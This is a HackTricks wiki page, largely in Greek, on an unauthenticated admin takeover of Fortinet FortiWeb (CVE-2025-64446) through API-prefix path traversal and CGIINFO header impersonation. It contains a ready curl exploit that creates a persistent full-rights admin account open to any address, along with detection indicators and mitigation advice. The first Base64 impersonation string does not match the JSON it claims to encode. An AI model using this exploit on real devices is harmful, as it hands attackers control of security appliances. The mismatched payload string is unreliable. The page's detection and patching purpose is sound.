Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Το Fortinet FortiWeb εκθέτει έναν κεντρικό CGI dispatcher στο /cgi-bin/fwbcgi. Μια αλυσίδα δύο σφαλμάτων επιτρέπει σε έναν μη-πιστοποιημένο απομακρυσμένο επιτιθέμενο να:

  • Reach fwbcgi by starting the URL with a valid API prefix and traversing directories.
  • Impersonate any user (including the built-in admin) by supplying a special HTTP header that the CGI trusts as identity.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Έχουν παρατηρηθεί εκμεταλλεύσεις σε πραγματικά περιβάλλοντα που δημιουργούν μόνιμους admin χρήστες.

Επηρεαζόμενες εκδόσεις (όπως έχουν δημοσιοποιηθεί):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

Το FortiWeb 8.0.2 επιστρέφει HTTP 403 για το traversal probe παρακάτω.

Γρήγορος έλεγχος ευπάθειας

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Ερμηνεία: HTTP 200 → πιθανώς ευάλωτο; HTTP 403 → επιδιορθωμένο.

Αλυσίδα ριζικής αιτίας

  1. API-prefix path traversal to internal CGI
  • Οποιοδήποτε request path που αρχίζει με ένα έγκυρο FortiWeb API prefix (π.χ., /api/v2.0/cmdb/ ή /api/v2.0/cmd/) μπορεί να traverse με ../ προς /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Μόλις επιτευχθεί το fwbcgi, ένα πρώτο φίλτρο εκτελεί έναν επιεική έλεγχο JSON, ο οποίος βασίζεται σε ένα per-path αρχείο κάτω από /var/log/inputcheck/. Αν το αρχείο λείπει, ο έλεγχος περνάει άμεσα. Αν υπάρχει, το body χρειάζεται μόνο να είναι έγκυρο JSON. Χρησιμοποιήστε {} ως το ελάχιστο συμβατό body.
  1. Header-driven user impersonation
  • Το πρόγραμμα διαβάζει τη CGI environment variable HTTP_CGIINFO (παραγόμενη από την HTTP header CGIINFO), Base64-decodes την τιμή, parsάρει το JSON, και αντιγράφει attributes απευθείας στο login context, ορίζοντας το domain/VDOM. Keys of interest:
  • username, loginname, vdom, profname
  • Παράδειγμα JSON για impersonate τον built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 του παραπάνω (όπως χρησιμοποιείται στο πραγματικό περιβάλλον):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Πρότυπο κατάχρησης από άκρο σε άκρο (μη πιστοποιημένος → admin)

  1. Προσπελάστε το /cgi-bin/fwbcgi μέσω API-prefix traversal.
  2. Παρέχετε οποιοδήποτε έγκυρο JSON body (π.χ., {}) για να περάσει ο έλεγχος εισόδου.
  3. Στείλτε header CGIINFO: <base64(json)> όπου το JSON ορίζει την ταυτότητα του στόχου.
  4. Κάντε POST το backend JSON που αναμένει το fwbcgi για να εκτελέσετε privileged actions (π.χ., δημιουργία admin χρήστη για persistence).

Ελάχιστο cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Μιμηθείτε τον admin και δημιουργήστε έναν νέο local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Σημειώσεις:

  • Κάθε έγκυρο JSON σώμα αρκεί (π.χ. {}) αν το /var/log/inputcheck/<path>.json δεν υπάρχει.
  • Το action schema είναι εσωτερικό στο FortiWeb· το παράδειγμα παραπάνω προσθέτει έναν τοπικό admin με πλήρη δικαιώματα.

Ανίχνευση

  • Αιτήσεις που φτάνουν στο /cgi-bin/fwbcgi μέσω API-prefix paths που περιέχουν ../ (π.χ. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Παρουσία του header CGIINFO με Base64 JSON που περιέχει τα κλειδιά username/loginname/vdom/profname.
  • Αποτυπώματα στο backend:
  • Αρχεία ανά path κάτω από /var/log/inputcheck/ (gate configuration).
  • Απρόσμενη δημιουργία admin και αλλαγές διαμόρφωσης.
  • Γρήγορος έλεγχος: το traversal probe που επιστρέφει 200 (εκτεθειμένο) έναντι 403 (μπλοκαρισμένο σε διορθωμένες builds).

Αντιμετώπιση

  • Αναβαθμίστε σε διορθωμένες εκδόσεις (παραδείγματα: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) σύμφωνα με την ανακοίνωση του vendor.
  • Μέχρι να εφαρμοστεί το patch:
  • Μην εκθέτετε το management plane του FortiWeb σε μη αξιόπιστα δίκτυα.
  • Προσθέστε κανόνες στον reverse-proxy/WAF για να μπλοκάρετε:
  • Διαδρομές που ξεκινούν με /api/ και περιέχουν ../cgi-bin/fwbcgi.
  • Αιτήματα που φέρουν το header CGIINFO.
  • Παρακολουθείτε και ενεργοποιήστε ειδοποιήσεις για τους δείκτες ανίχνευσης παραπάνω.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks